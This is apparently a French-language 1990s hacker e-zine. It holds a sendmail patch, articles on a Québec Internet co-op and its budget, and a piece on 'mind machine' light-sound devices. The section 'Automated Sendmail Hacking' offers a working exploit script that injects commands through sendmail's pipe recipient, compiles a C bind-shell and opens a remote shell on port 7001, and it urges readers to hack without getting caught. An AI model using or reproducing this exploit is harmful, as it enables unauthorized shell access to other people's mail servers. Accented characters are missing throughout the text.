-------------------------------the patch itself------------------------------
#ifdef SITE_SEMISECURE
#ifndef LAST_SECURE_UID
#define LAST_SECURE_UID 20
#endif
if (getuid()<LAST_SECURE_UID || geteuid()<LAST_SECURE_UID)
{
syslog(LOG_CRIT, "system uid %d (effective id %d): attempt to use command ``%s'
getuid(), geteuid(), argv[2]);
exit(EX_UNAVAILABLE);
}
#endif /* SITE_SEMISECURE */
---------------------------------cut here-----------------------------------
Make sure that you don't use prog mailers in your aliases file (usually in
/etc or /urc/lib). All mail to such aliases is delivered with UID 1, and it
will bounce.
Note that you're still not secure. Even with alexis' patch, uids that can run
procmail of filter are still accessible (probably).
That's it from me this month, to all hackers, have fun and don't get caught,
and to all sysadmins, have fun and don't get caught with your pants down!
---------------------
Automated Sendmail Hacking
toujours par
Gurney Halleck
Here is an automated way to hack Sendmail. Type in the following
shell script in a file named smail. The run it with the required arguments
and let it do it's job. Let's say you use it with the default arguments, it
would create a VERY big security hole (if your site is not secure). After
running the script, just telnet to your own host on port 7001 and you will
be in a shell runned by UID deamon. This is practical on a site where the
passwords are to tough to crack.
------Cut Here--------
#!/bin/sh
# Description:
#
# Exploit NEW sendmail hole and bind a port so we can spawn a program.
#
# Usage: smail <hostname> <target-user-name> <target-port> <shell command>
# default: smail <localhost> <daemon> <7001> </bin/sh>
port=$3
user=$2
cmd=$4
if [ -z "$2" ]; then
user=daemon
fi
if [ -z "$3" ]; then
port=7001
fi
if [ -z "$4" ]; then
cmd="/bin/csh -i"
fi
(
sleep 4
echo "helo"
echo "mail from: |"
echo "rcpt to: bounce"
echo "data"
echo "."
sleep 3
echo "mail from: $user"
echo "rcpt to: | sed '1,/^$/d' | sh"
echo "data"
echo "cat > /tmp/a.c <<EOF"
cat << EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
echo "EOF"
echo "cd /tmp"
echo "/bin/cc /tmp/a.c"
echo "/bin/rm a.c"
echo "/tmp/a.out $port $cmd"
echo "."
echo "quit"
) | mconnect $1
-----------------------------------------------------------------
úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
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LLC, a s'en vient?
par
Santa Claus
Oui. Et plus vite que vous pensez... Ceux qui taient
la
dernire runion savent
quoi s'attendre pour la troisime, I.E.
le plan d'achat. Eh! oui... Et qu'est-ce qu'on fait quand le stock
est achet? On fonctionne.
A la dernire rencontre, beaucoup de choses m'ont surpris.
J'ai vu notamment Mario Cantin, Prsident, beaucoup moins agressif
qu'
LLC #1. Nous n'avons pas eu droit
la guerre froide entre M.
tout-le-monde qui ne pense qu'
lui et les gens qui veulent que a
marche... Pourquoi? Parce que M. tout-le-monde n'tait pas
invit... 8) Certains ont fait beaucoup d'argent aussi! De nombreux
paris taient dclars lors de la "Discussion" sur les Statuts de
LLC: Un sympathique monsieur fumant la pipe, dont je ne veux pas
parler
tort, car Syndic il est devenu, a pratiquement contest
TOUS les points de la charte! C'tait drle au dbut, mais vers la
fin, hhhhmmmmmmppppppffffff!
[Atreid- Le mot hhhmmmmmmppppppfffff! prend
seulement 3 'h' et 5 'f' ! Tu devrais le savoir
ton ge!]
Nous aurons donc droit
une charte quasi-totalement modifie,
mais qui ne comportera pratiquement aucune ambigut. Elle devrait,
selon moi, tre publie dans le prochain magazine.
On a aussi parl des plans d'achats, vaguement, mais le sujet est
quand mme sur la table... Blitz vous en reparlera dans son
article.
Quelques figures ont aussi t lues:
- Prsident: Mario Cantin
- Vice-prsident: Ral Fournier
- Trsorier: Herv Lamarre
- Secrtaire: Dr Claude Blouin
- Syndics: Vincent Couture
Me Jean-Louis Renaud
Si tout se passe bien, vous devriez tre emmens
voter pour
diffrents plans d'achats lors de la prochaine runion... Mais
d'ici l
, hmm... fates ce que vous voulez...
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[Atreid- Ah! Quel commentaire constructif! :) ]
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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
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A vos Mac, Prt, Raggez!
par
The Shaman
Plusieurs personnes voient d'un bon oeil la venue de Libert,
Libert Chrie dans le paysage cyberntique de Qubec, mais
il n'en est pas de mme pour plusieurs personnes au sein de la
direction du Club MacIntosh de Qubec.
En fait le prsident du Club et son vice-prsident ont lchement
profit de la tribune que Synapse, le bbs du Club, leur offre,
pour vilipender l'ide d'une Coop Internet dans le 418. Pour
illustrer mes propos je cite les dires du prsident lui-mme :
" Aprs certaines vrifications, il semble qu'il est plus que
raisonnable de ne pas se prsenter
ces rencontres. Une rencontre
a eu lieu dernirement sur le sujet, et la GRC tait prsente (...)
...Leur but principal serait de contrler les accs Internet
Qubec pour tre capable d'en profiter dans un but pas tout-
-fait
catholique. (...) "
Ce message n'avait pour seul but que de dtruire la crdibilit
de LLC en s'attaquant a ses administrateurs. Il semble que cela ait
fonctionn car la plupart des membres du Club que j'ai contacts ne
toucheraient pas
LLC. Pas mme avec une perche de 100 pieds.
Je ft dcu quand je lus les lignes qui prcdent mais je
devins littralement enrag quand je lus ce qui suit. Encore
de la plume de Christian Gingras, prsident du Club :
"...Comme un accs Internet est trs dispendieux, ils tentent
d'attirer des collaborateurs qui paieront avec eux. Ce cette faon,
ils paieront moins cher. (...)
...Et tre collaborateur de ces gens, c'est ventuellement
participer
un crime informatique! "
Un ramassis d'inepties! Je ne puis figurer que des gens qui sont
sens diriger un des plus importants regroupements de fans
d'informatique au pays puissent s'attaquer
la libre entreprise et
tenter de tuer dans l'oeuf un organisme qui est promis a un
destin glorieux.
[Atreid- Humm... Un des plus importants regroupements de fans
d'informatique au pays? ;-) ]
Par contre, une explication s'impose. On murmure qu'il y a
quelques temps, l'excutif du Club aurait fait des
dmarches dans le but de doter le Club d'une node Internet...
Il est vident qu'il ont essuy un chec. La jalousie serait-elle
le motif de toutes ces paroles mesquines? Chers amis, je vous
rappelle que la jalousie est du nombre des pchs capitaux!
Mais cela ne restera pas l
! Il n'y a pas dans LLC seulement des
"kids" comme moi. Il y a aussi des hommes et des femmes d'ges
mrs, des mdecins, des avocats et des PDG. Ceux-l
n'accepteront
pas d'tre traits de "criminels informatiques" par quelqu'un qui
parle sans preuves...
Je pourrais perdre un temps fou
vous citer les paroles du
SysOp de Synapse ou celles de Stephane-Billy Gousse, le
vice-prsident du Club. Mais je ne le ferai pas car ils rpetent
tous les mmes histoires.
Je conclus en vous invitant, si vous tes membres,
brler votre
carte de membre et
la faire parvenir au prsident du club.
Investissez donc dans l'avenir et le progrs. LLC vous permettera
de dtruire les dernires frontires qui vous limitent encore a
votre salon.
Et
vous, dirigeants du Club... N'hsitez pas
contacter nos
ttes dirigeantes ou mme
vous inscrire sur l'un de nos
babillards pour discuter entre protagonistes des deux scnes. Pour
ma part, les portes de mon bbs vous sont ouvertes. Toutes les
informations relies
mon bbs, qui est rouvert, vous seront
envoyes en mme temps que cet article.
The Shaman
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úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
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Yeux en compote sur Mind Machine
par
Atreid Bevatron
Mind Machine... La machine de l'esprit... La traduction exacte
du nom est Harmonisateur d'Ondes Crbrales. Elle porte ce nom
parce que c'est bien ce qu'elle est; elle harmonise notre esprit au
niveau qu'on veut bien lui donner. La Mind Machine fait rver,
halluciner, relaxer, dormir. Elle te pousse aux confins de ton
imagination, de tes sens et de ta concentration.
Le principe de la Mind Machine est assez simple. Son modle le
plus commun existe sous la forme d'une paire de lunettes opaques
(style Oakley), avec quatre minuscules LEDs face
chaque oeil. La
Mind Machine est aussi munie d'un simple casque d'coute comme on
peut en voir sur n'importe quel WalkMan... Les lumires clignotent
une certaine vitesse et dans les couteurs, on peut entendre une
srie continue de BIPs synchroniss. Pour se servir de la Mind
Machine, on doit s'installer confortablement, mettre les lunettes
et les couteurs et SE FERMER LES YEUX. Afin d'expliquer le rle de
ces BIPs et de ces flash, un concept doit tre clairci.
Chaque neurone de notre cortex vibre pour transmettre sa part
d'information. Ces vibrations sont communment nommes Ondes
Crbrales. Une vibration rapide permet au cerveau d'tre dans un
tat alerte, prt
rpondre
des problmes spcialiss et
compliqus, tandis qu'une vibration lente donne un point de vue
plus global, moins dtaill et moins rflchi.
Les Ondes Crbrales sont regroupes en 4 grandes catgories:
Alpha, Bta, Thta et Delta. La vitesse de clignotement s'chelonne
de 1
30 Hz. Voici un petit tableau:
Nom ³ Frquence (Hz) ³ tat Psychologique
ÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Bta ³ 14-30 ³ Esprit alerte.
³ ³
Alpha ³ 8-13 ³ En gnral les yeux ferms.
³ ³ Relax, mais tout de mme veill.
³ ³
Thta ³ 4-7 ³ Profonde relaxation, premires
³ ³ phases du sommeil, rves veills.
³ ³
Delta ³ 1-3 ³ Sommeil Profond.
³ ³
La Mind Machine sert donc
harmoniser les vibrations de nos
neuronnes au rythme qu'on dsire, pour faciliter l'acomplissement
de certaines tches mentales ou simplement pour la dtente.
Le rle, pour y revenir, des BIPs et des FLASHs de la Mind
Machine est simple. Selon les tudes, si vous commencez une sance
en imposant
la Mind Machine un rythme qui se rapproche du rythme
de vibration prsent de votre cerveau et que, graduellement, vous
approchez lentement la machine
une autre frquence de vibration,
votre cerveau sera lentement entran vers cette nouvelle
frquence.
Par exemple, si vous revenez de travaillez, vous pouvez
supposer que votre cerveau vibre vers les 25 Hz. Vous tes alerte
ce moment. Vous avez rendez-vous avec votre blonde
23h00 et
vous prvoyez une nuit blanche trs mouvemente. Comme vous ne
voulez surtout pas vous endormir au milieu de la nuit, vous
aimeriez bien prendre quelques heures de sommeil, mais vous n'avez
pas sommeil. Quoi faire? Vous prenez votre Mind Machine, partez les
vibrations
environ 25 Hz et choisissez un programme qui abaissera
graduellement les vibrations
2 ou 3 Hz. Trente minutes plus tard,
vous sombrez dans un profond sommeil. Pourquoi? Parce que la Mind
Machine a graduellement abaiss la frquence de vos ondes
crbrales au niveau de vibration qu'elles ont en pleine nuit
lorsque vous dormez trs profondment. Votre alarme vous rveille
trois ou quatre heures plus tard, en pleine forme pour affronter
une nuit blanche mouvemente, grce
votre Mind Machine.
LA VISUALISATION
^^^^^^^^^^^^^^^^
Je dirais que c'est une des abilits les plus intressantes
que la Mind Machine permet d'acqurir. Visualiser, c'est penser
quelque chose, un acte ou un objet, et le VOIR.
Essayez tout de suite tiens. Pensez disons
un avion dans le
ciel. Imaginez-vous cet avion. Vous pouvez bien sr dcrire cet
objet, car vous l'imaginez en ce moment, mais pour la plupart des
gens, l'objet imagin sera vague, prsent seulement par fraction de
seconde. Quelques fois mme, vous ne le verrez pas du tout, vous ne
pourrez que savoir que vous tes en train de penser
cet objet.
Vous devez tenter de diffrencier le fait d'imaginer et le
fait de VOIR. Lorsque je parle de visualisation, je parle bien de
la facult de crer devant soit une image concrte et relle,
presqu'une hallucination.
Vous savez tous ce qu'est le LSD. Ses effets hallucinatoires
sont connus de tous d'ailleurs. L'effet du LSD n'est pas si
diffrent de la visualisation, du moins lorsque vous avez les yeux
ferms. En fait, c'est une forme de visualisation. Fermez vos yeux
lors d'un trip de LSD et vous verrez dfiler devant vous un
gigantesque kalidoscope de couleur. Concentrez-vous sur l'avion de
tout
l'heure et vous verrez, du moins pour ceux qui matrise
l'effet, l'avion se matrialiser devant vous, avec le ciel
derrire. Imaginez du vent dans ce dlicieux ciel bleut, et vous
sentirez mme une lgre brise venir effleurer votre visage. Tendez
l'oreille et vous pourrez presque entendre le bruit de l'avion.
Vous croyez que je ne parle que d'un trip de LSD? Pas du tout. La
Mind Machine peut vous faire atteindre ce stade de visualisation,
du moins pour les utilisateurs expriments. D'ailleurs, la Mind
Machine inculque la visualisation. Ce qui veut dire que, toujours
pour un utilisateur expriment, il deviendra possible d'accomplir
une puissante visualisation sans l'aide de la Mind Machine, ce qui
veut dire que les effets de la Mind Machine peuvent devenir
permanents. La visualisation est une facult qui s'apprend et la
Mind Machine est un outil de taille pour acclrer cet
apprentissage.
La visualisation ne s'arrte pas non plus
une hallucination
visuelle. Elle comprend aussi la facult du touch, de l'odorat,
des sons et du got, le tout uniquement par l'imagination.
Imaginez-vous en pleine baise et vous voil
parti, imaginez-vous en
train de bouffer une pizza et vous vous mettrez
goter la pizza.
La facult de visualisation est grade en 7 parties. Voil
donc un
autre petit tableau:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÒÄÄÄÄÄÄÄÄ¿
³ Diffrents types d'expriences de visualisation º Cote ³
ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÎÍÍÍÍÍÍÍ͵
³ Parfaitement clair et aussi raliste qu'une º 1 ³
³ exprience relle. º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Trs clair et comparable
une exprience relle º 2 ³
³ au niveau raliste. º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Modremment clair et raliste º 3 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Pas trs clair et raliste, mais identifiable º 4 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Vague et non raliste º 5 ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Si vague et non raliste que l'image est º 6 ³
³ difficilement identifiable º ³
ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ×ÄÄÄÄÄÄÄÄ´
³ Aucune image prsente. Tout ce que vous savez, c'est º 7 ³
³ que vous tes en train de penser
l'objet º ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÐÄÄÄÄÄÄÄÄÙ
Je dirais que la majorit des gens se situe dans le 6 et le 7.
Avec la Mind Machine, pour un utilisateur expriment assist d'un
spcialiste, il est POSSIBLE d'atteindre la cote 1. Je dis bien
possible, mais
ma connaissance (et elle est limite ma
connaissance sur ce sujet!), ces cas sont rares. De plus, selon
quelques tudes, le fait de combiner certaines SMART DRUGS comme la
PIRACETAM avec l'utilisation de la Mind Machine pourrait permettre
d'atteindre des rsultats beaucoup plus convaincants (cote 1?).
OU S'EN PROCURER ET A QUEL PRIX?
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
Il n'existe pour l'instant aucun vendeur dans la rgion de
Qubec, quelques-uns
Montral (dont je ne connais pas les numros
de tlphone, malheureusement!).
J'ai toutefois sous la main le nom d'un centre o il est
possible de faire l'essai, et mme de faire des thrapies contre le
stress, pour la visualisation, pour la crativit, etc.
OVARIUM, Centre d'veil de l'tre. 514-271-7515
5370, Ave du Parc,
Montral, QC,
H2V 4G7
Probablement que de l
, vous pourrez apprendre o il est possible
de s'en procurer.
Deux autres endroits, o vous pouvez en acheter, mais aux tats-
Unis par contre. Ces deux endroits offrent des catalogues de leurs
produits:
Mega Brain Tools for Exploration
P.O. Box 2205 4460, Redwood Highway, Suite 2
Sausalito, CA 94965-9998 San Rafael, CA 94903
Voice: 415-332-8323 Voice: 800-456-9887
Fax: 415-332-8327 Fax: 415-499-9047
Les prix varient beaucoup, mais le prix d'une Mind Machine de
bonne qualit est d'environ 350$. Le modle le plus rpandu et le
plus garanti pour sa qualit est le DAVID PARADISE, fabriqu par la
compagnie COMPTRONICS. Le modle non-programmable
environ 400$ et
le programmable
695$. Pas la peine de dire que le fait de pouvoir
programmer est trs avantageux pour les utilisateurs expriments.
FINALEMENT
^^^^^^^^^^
La Mind Machine n'est que le dbut. Avec l'avancement de la
technologie, on peut facilement imaginer que ce genre d'appareils
se perfectionnera et qu'atteindre la cote 1 de visualisation pourra
devenir de plus en plus facile. Et encore, je n'ai pas parl des
autres produits comme les bains flottants
ou les appareils
stimulation lectrique. Il existe aussi quelques logiciels pour PC
qui arrivent
reproduire un peu ce qu'est la Mind Machine. J'en ai
JUSTEMENT un sous la main et en plus, c'est une version SHAREWARE!
Ah! Merveilleux... Pour ne pas courir aprs les troubles de droits
d'auteurs (puisque la GRC nous lit!), je ne vais pas l'inclure dans
l'archive, mais je vais l'uploader sur tous les BBS PUBLICS ET
PRIVS DE NPC, dont vous pourrez trouver les numros au dbut du
magazine. Le nom du programme est FLASHER dans l'archive
FLASHER.ZIP... Pour se servir du programme, vous n'avez qu'
dterminer la vitesse de clignotement et le type d'image. Je vous
recommande particulirement la vitesse 7 avec l'image ZETA.
Ensuite, fermez vos yeux et collez-vous la face
10 centimtres de
l'cran. Essayez quelques fois aussi les yeux ouverts. Bref,
amusez-vous avec a. Je vous rappelle de laisser tomber si vous
tes pileptiques, et je ne blague pas! Bien sr, ce n'est qu'un
avant-got de la VRAIE Mind Machine, mais quelques de mes amis
l'ont ador... (N'est-ce pas White Wizard? :] )
Un fait intressant en passant... Lorsque vous commencerez
voir
des kalidoscopes de couleurs (les yeux ferms), ce n'est pas parce
que la lumire envoye est colore. C'est dans votre tte que a se
passe!
Alors je vous dis bon trip... :)
-----------------------------------------------------------------
úAú úPúRúEúVúIúOúUúSúLúYú úUúNúKúNúOúWúNú úLúIúFúEúSúTúYúLúEú
-----------------------------------------------------------------
LLC: C'EST TOUT UN BORDEL D'AMENER INTERNET A QUBEC!
par Mario Cantin
Bonjour les amis! Tonton Blitz vient vous livrer les dernires
nouvelles
propos de LLC. Je ne vous parlerai pas de statuts,
d'lections ou de dtails administratifs, je vous parle aujourd'hui
du systme lui-mme et du budget! Tout ce qui vous intresse, quoi!
En tout premier lieu, un beau graphique <grin> de LLC, tel
qu'il sera conu pour desservir 100 usagers. C'est bien important
que vous vous souveniez de cela: CENT USAGERS!
º
º Ligne Fonorola de 56 kbps (maximum throughput: 2 gigs/mois)
º
º
º
Modem V-35
º
º
ÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛ Router Cisco
ÛÛÛÛÛÛÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ°°°
³ °°° 386-16 usag
³
³
³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄIJ²²²²² Serveur de Terminal
ÜÜÜÜÜÛÜÜÜÛ ²²²²²²
ÝSun SparcÝ ÚÄÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄÄ¿
Ý10-clone?Ý ³ÚÄÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄÄ¿³
ÛÜÜÜÜÜÜÜÜÛÛ ³³ÚÄÄÄÄÄÄÄÄÄIJ²²²²²ÄÄÄÄÄÄÄÄÄÄ¿³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ Srie de ³³ ³³ ³³ ³³
³ 10 modems ³³ ³ ³ ³³
³ ³³ ³ ³ ³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³³ ³³ ³³ ³³³
³ ³³ ³ ³ ³³ 10 usagers
³ ³ ³ contents!
³
³
³
³
³
°°° 386-33 usag Antenne satellite Pagesat
°°°ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄððððððððððð
°°° ððð û ððð
Ben, c'est exactement de cela que LLC va avoir l'air! On va parler,
dans l'ordre:
1) Utilit de chaque pice du systme
2) Cot du systme
3) Limitations du systme
1) Fonorola nous fournit une 56 kbps (medium), d'une capacit de 2
gigs par mois. Ce sont les deux lignes parallles qui entrent
gauche en haut du dessin. Cette ligne, si toutes les conditions
sont observes, nous cote 600$ par mois (plus 200$ de frais
d'installation de base -one shot-).
Cette ligne entre sur un modem spcial, un V-35, qui cote
environ $500. Lui mme est ensuite connect sur un router Cisco,
fournit gratuitement par Fonorola. On garde en permanence en 386
(usag si possible) branch pour contrler le flot du trafic. On
pourra un jour (dans le futur) installer un autre 386 l
pour
servir de site FTP, et un autre (toujours dans le futur) pour ceux
qui voudraient tester leurs capacits de crackers (on installera
Linux full-configur et vous pourrez essayer d'entrer!).
Le router Cisco est lui-mme reli
l'ordinateur central de
LLC, plus que probablement un clone SPARC 10 (6,500$ US),
moins
que nous trouvions des commandites
Qubec, ce qui est toujours
possible. Nous n'avons cependant pas encore commenc
les chercher
(vous verrez tout
l'heure pourquoi). Il faudra probablement y
rajouter un gig de disque dur (1000$), et un lecteur CD-Rom (Linux
et les gros programmes Unix dont nous avons besoin sont plus
maniables ainsi: 500$).
En bas du Sparc, vous voyez une ligne qui va jusqu'
un 386-25
(usag), qui va lui-mme
un rcepteur satellite. Qu'est-ce que a
fout l
? Ben, vous avez dj
entendu parler de Usenet, les
newsgroups d'Internet? Les sites dignes de ce nom les offre tous,
et a reprsente de 50
80 megs par jour de data. De faon
ne
pas empiter sur notre bandwith (largeur de bande) et notre
throughput (sortie maximale), nous allons utiliser le service
Pagesat et recevoir TOUT Usenet par satellite. L'antenne et tout le
bataclan nous reviennent
2000$ US, et il n'y a pas de frais
d'utilisation la premire anne. Aprs deux ans, a va commencer
nous coter environ 30$US par mois...
A droite du SPARC 10, il y a un serveur de terminal ($3000US),
branch sur 10 modems (10 x 400$US), eux-mmes branchs sur dix
lignes tlphoniques, une ligne par 10 usagers. C'est par ces
lignes que vous allez entrer.
En gros, c'est a. Ce que vous ne voyez pas, dans le dessin,
c'est une gnratrice de secours (appele couramment UPS) qui, en
cas de panne (on est au Qubec, n'est-ce pas!), va prvenir les
usagers sur le systme et fermer le systme EN DOUCEUR, de faon
ce qu'il ne plante pas. Prvoyons aussi un 1000$ de programmes, un
tape backup (500$), et quelques gugusses.
2) Faisons un calcul rapide du cot de l'quipement, payable une
seule fois, pour un systme de dix lignes et cent usagers.
QUIPEMENT
""""""""""
V-35 : 500$
SPARC 10 : 6500$US=7800$
386-16 : 400$ (usag)
386-25 : 800$ (usag avec un disque d'un gig)
Pagesat : 2000$US=2400$
Serveur : 3000$US=3600$
CD-Rom : 500$
Disque 1G : 1000$
10 modems : 4000$
UPS : 800$
Divers : 1000$ (cbles et programmes)
----------------------------------------------------
Total : 22,800$
Faisons maintenant un rapide calcul du cot de fonctionnement du
systme, toujours sur la base de 100 usagers.
COUTS MENSUELS
""""""""""""""
56 Kbps : 600$
Lignes de Bell (10) : 394$ (Centrex)
Local : 150$ (lectricit et chauffage compris)
-----------------------------------------------------------------
Total : 1144$
Faisons maintenant un rapide calcul des cots d'installation du
systme, toujours sur la base de 100 usagers.
FRAIS D'INSTALLATION
""""""""""""""""""""
56 kbps : 200$
Tlphone : 1131$
--------------------------------------
Total : 1331$
Et nous, comment payons-nous tout cela? La part sociale, vous vous
en souvenez, est de 8 x 10$, soit 80$. A cent usagers, a fait
8000$. Que nous devons utiliser avec parcimonie, car nous devons
tre prts
rembourser les parts sociales n'importe quand, si
quelqu'un quitte la cooprative.
Et le tarif mensuel? Deux tarifs sont encore
l'tude:
-25$ par mois: une heure d'accs dans la tranche de nuit
deux heures dans la tranche de jour
pour un total de 60 points
-35$ par mois: DEUX heures d'accs dans la tranche de nuit
Quatre heures dans la tranche de jour
pour un total de 120 points
OK,
ce point-ci, vous avez certainement deux questions:
a) Comment a se fait que, contrairement
ce que tu disais, on a
pas un accs ILLIMIT?
b) C'est quoi la tranche de jour et la tranche de nuit?
On va rpondre tout de suite aux deux questions. Suivez-moi bien et
vous allez tout comprendre.
Nous avons fait un mini-sondage auprs de certains d'entre
vous, et l'crasante majorit prvoient d'utiliser le systme entre
17 heures et une heure du matin. Nous avons donc divis la journe
en deux tranches:
Tranche A: de 3 heures du matin
17 heures (dure: 14 heures)
Tranche B: de 17 heures
3 heures (dure: 10 heures)
A chaque fois que vous allez payer votre cotisation mensuelle,
vous allez recevoir 60 ou 120 points, dpendant du tarif choisi. UN
point correspond
une heure dans la tranche A, et
la moiti dans
la tranche B. Ce calcul prvaut mme pour la fin de semaine.
Maintenant, supposons que les 100 usagers prennent le tarif de
35$, qui reprsente 2 heures dans la tranche B. Nous parlons de la
tranche de soir, parce que nous savons pertinemment que la majorit
d'entre vous allez effectuer vos appels
ce moment. Une ligne va
donc permettre, dans cette tranche de 10 heures, de servir 5
personnes (5 personnes x 2 heures = 10 heures). Nous avons dix
lignes, donc, ce qui fait qu'au plus 50 personnes vont pouvoir, en
thorie, tre desservis dans la tranche de nuit. 50% des gens vont
pouvoir appeler dans la tranche B. Si maintenant on donnait 3
heures, 4 heures, ou un accs illimit, combien de personnes
pourraient se prvaloir, dans la tranche de nuit, des services de
LLC? Moins de 50%, that's for sure! Et mon bottom line,
moi,
c'est de tenter de donner un bon service
au moins 50% du monde...
En bas de d'a, le jeu n'en vaut plus la chandelle. Voil
pourquoi
on ne peut pas dcemment permettre, du moins au dbut, aux gens
d'avoir plus de 2 heures d'accs dans la tranche B. Ceci dit, les
gens qui appellent de jour vont pouvoir,
titre de rcompense,
utiliser deux fois plus de temps. Ce qui va nous permettre,
probablement, de faire grimper le taux de satisfaction
60 ou 70%
(ou plus encore, qui sait).
Mais, allez-vous me dire (si vous avez compris l'explication
prcdente), pourquoi ne pas mettre plus de dix lignes de
tlphone? Pourquoi ce ratio de dix usagers par ligne? Simple,
c'est une question de cot: nous avons calcul, tout
l'heure,
combien il en cotait pour partir le systme, combien il en cotait
pour acheter l'quipement, et quels seraient les frais mensuels
pour le faire fonctionner. car n'oublions pas que rajouter une
ligne, c'est rajouter une carte Ethernet, rajouter un modem,
rajouter...
Mais combien va nous rapporter le systme?
Toujours sur une base de 100 usagers, calculez qu'il y en aura 50%
25$ et 50%
35$. Ce qui fait:
100 usagers x 30$ = 3000$
moins frais mensuels = 1144$
------------------------------------
reste = 1856$
1856$ x 12 mois = 21,672$
22,800$ d'quipement emprunt
la banque
8% = 1824$ d'intrt
Ce qui veut dire qu'au bout d'un an, on est encore 2952$ dans le
trou. En gros, si on est ben chanceux, on russit
peine
payer
l'quipement en 1 an.
En effet, on a nos parts sociales (8000$), qui servent
payer
l'installation (1331$) et le dficit de la premire anne (2952$),
ce qui nous laisse "dans le noir" de 3717$. C'est pas les chars,
mais c'est a... Et cet argent sert
rembourser 46 parts sociales
si 46 membres nous quittent dans la premire anne.
Bien sr. il y aura peut-tre quelques usagers corporatifs, a
et l
, et on va peut-tre se faire commanditer la machine, et on va
aussi permettre aux gens de payer pour six mois ou douze mois (avec
une rduction
la cl, parce que a va nous permettre d'emprunter
moins d'argent), mais le bottom line est ceci: si on ne charge pas
plus que 25$ et 35$, on ne peut pas diminuer le ratio de une ligne
de tlphone pour dix personnes, et on ne peut pas, par consquent,
permettre
quelqu'un d'tre plus que deux heures en ligne dans la
tranche de nuit. Jusqu'
ce que le systme soit pay... A partir de
l
...
3) Limitations du systme:
On en a dj
vu une, de limitation, et une embtante
part
(pour les gens qui passent plus de deux heures par soir sur
